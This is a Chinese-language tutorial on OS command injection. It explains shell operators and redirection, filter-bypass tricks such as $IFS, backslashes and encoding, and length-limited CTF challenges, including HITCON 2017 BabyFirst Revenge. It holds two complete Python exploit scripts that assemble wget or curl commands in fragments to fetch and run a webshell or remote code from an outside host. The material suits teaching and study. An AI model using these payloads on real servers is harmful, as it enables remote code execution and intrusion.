内容简介:OS命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。说到命令注入,我们不得不提到命令注入中几个常用的符号。来自菜鸟教程:
命令注入
OS命令注入(也称为 shell 注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。
前置知识
说到命令注入,我们不得不提到命令注入中几个常用的符号。
&&
语法格式如下: command1 && command2 [&& command3 ...] 1 命令之间使用 && 连接,实现逻辑与的功能。 2 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。 3 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。
|(管道符号)
| 表示管道,上一条命令的输出,作为下一条命令的参数
||
语法格式如下: command1 || command2 [|| command3 ...] 1 命令之间使用 || 连接,实现逻辑或的功能。 2 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。 3 只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。
&
& 表示将任务置于后台执行
;(分号)
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
``和$()
在bash中,$( )与` `(反引号)都是用来作命令替换的。 各自的优缺点: 1. ` ` 基本上可用在全部的 unix shell 中使用,若写成 shell脚本,其移植性比较高,但反单引号容易打错或看错。 2. $()更有可读性,但是$()并不是所有shell都支持。
()和{}
如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。 (command1;command2;command3....) { command1;command2;command3…} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号 相同点: ()和{}都是把一串的命令放在括号里面,并且命令之间用;号隔开 不同点 ()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行 ()最后一个命令可以不用分号,{}最后一个命令要用分号 ()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格 ()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令
Shell 输入/输出重定向
来自菜鸟教程:
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。
命令说明: command > file:将输出重定向到 file。 command < file:将输入重定向到 file。 command >> file:将输出以追加的方式重定向到 file。 n > file:将文件描述符为 n 的文件重定向到 file。 n >> file:将文件描述符为 n 的文件以追加的方式重定向到 file。 n >& m:将输出文件 m 和 n 合并。 n <& m:将输入文件 m 和 n 合并。 << tag:将开始标记 tag 和结束标记 tag 之间的内容作为输入。 需要注意的是文件描述符 0 通常是标准输入(STDIN),1 是标准输出(STDOUT),2 是标准错误输出(STDERR)。
正则表达式
^ 匹配输入字符串的开始位置。 $ 匹配输入字符串的结束位置。 * 匹配前面的子表达式零次或多次 + 匹配前面的子表达式一次或多次。 ? 匹配前面的子表达式零次或一次。 {n} n 是一个非负整数。匹配确定的 n 次。 {n,} n 是一个非负整数。至少匹配n 次。 {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。 ? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。 . 匹配除换行符(\n、\r)之外的任何单个字符。 [xyz] 字符集合。匹配所包含的任意一个字符。
还有一些内置的通用字符簇
[[:alpha:]] 任何字母 [[:digit:]] 任何数字 [[:alnum:]] 任何字母和数字 [[:space:]] 任何空白字符 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 [[:punct:]] 任何标点符号 [[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]
示例
一些常见的限制
通配符*和?的使用
[]和{}的使用
{...}与[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。
空格绕过
使用<和>
使用特殊变量:$IFS
IFS的默认值为:空白(包括:空格,tab, 和新行)
关键字过滤绕过
使用 $*
和 $@
, $x
(x代表1-9), ${x}
(x>=10)
PS:因为在没有传参的情况下,上面的特殊变量都是为空的
使用反斜杠
使用变量
使用特殊变量${9}
${9}对应空字符串
使用编码
base64
16进制
8进制
使用双引号和单引号
花括号还有一种用法:{command,argument},
使用%0a(\n),%0d(\r),%09(\t)等字符也可以bypass一些过滤,这里就会不多去赘述了
长度限制
例题1
<?php $param = $_POST['param']; if(strlen($param) < 17){ eval($param); } ?>
很简单,长度不能大于等于17,直接在eval里面再用一个eval就可以了。
例题2
<?php if(strlen($_GET[1])<8){ echo shell_exec($_GET[1]); } ?>
这里要用到我们前面所讲到的重定向,n > file:将文件描述符为 n 的文件重定向到 file。
既然我们不能一次执行一条完整的命令,我们可以分为多次
举个简单的例子
ls是默认以文件名 排序 的,所以我们为了控制我们命令的顺序,可以使用ls -t按时间逆序。
不过这里考虑到直接写shell有点麻烦(因为 php 中的一些符号用到shell中是有意义的,要各种转义,为了节省代码量我们直接用curl或者是wget从服务器dump一个shell下来)
exp如下:
import requests name=[">php\\",">\\ 1.\\\\",">\\ -O\\\\",">cn\\\\",">\\ a.\\\\",">wget\\\\"] #可以修改hosts文件,让a.cn指向一个自己的服务器。 #index.html是一个php的shell url="http://192.168.163.128/test.php" for x in name: print x param={'1':x} a=requests.get(url,params=param) param1={'1':'ls -t>a'} param2={'1':'sh a'} requests.get(url,params=param1) requests.get(url,params=param2) b=requests.get("http://192.168.163.128/1.php") if b.status_code == 200: print "ok!" else: print "bad!"
可以发现成功写了shell
例题3
HITCON CTF 2017-BabyFirst Revenge
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
这个字符长度限制不能大于5个,我们写字符还是可以的,但是我们的ls -t>a用不了,不过我们可以用前面的思路,把ls -t>a拆分为几段放在一个文件中,然后再执行。
可以发现2-5行是可以执行ls -t>g的,然后后面的步骤就和前面一题一样了,这里就不多赘述了
贴一下Orange师傅的exp:
import requests from time import sleep from urllib import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl orange.tw.tw>python` # curl shell.0xb.pw|python '>on', '>th\\', '>py\\', '>\|\\', '>pw\\', '>x.\\', '>xx\\', '>l.\\', '>el\\', '>sh\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] # r = requests.get('http://localhost/tmp/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://localhost/tmp/?cmd=' + quote(i) ) print i sleep(0.2)
Reference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 挖洞姿势:浅析命令注入漏洞
- Bypass 护卫神SQL注入防御(多姿势)
- 【技术分享】SQL注入防御与绕过的几种姿势
- SpringBoot基础篇Bean之条件注入@Condition使用姿势
- 强大的姿势感知模型用于姿势不变的人脸识别
- 从姿势到图像——基于人体姿势引导的时尚图像生成算法
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Nature of Code
Daniel Shiffman / The Nature of Code / 2012-12-13 / GBP 19.95
How can we capture the unpredictable evolutionary and emergent properties of nature in software? How can understanding the mathematical principles behind our physical world help us to create digital w......一起来看看 《The Nature of Code》 这本书的介绍吧!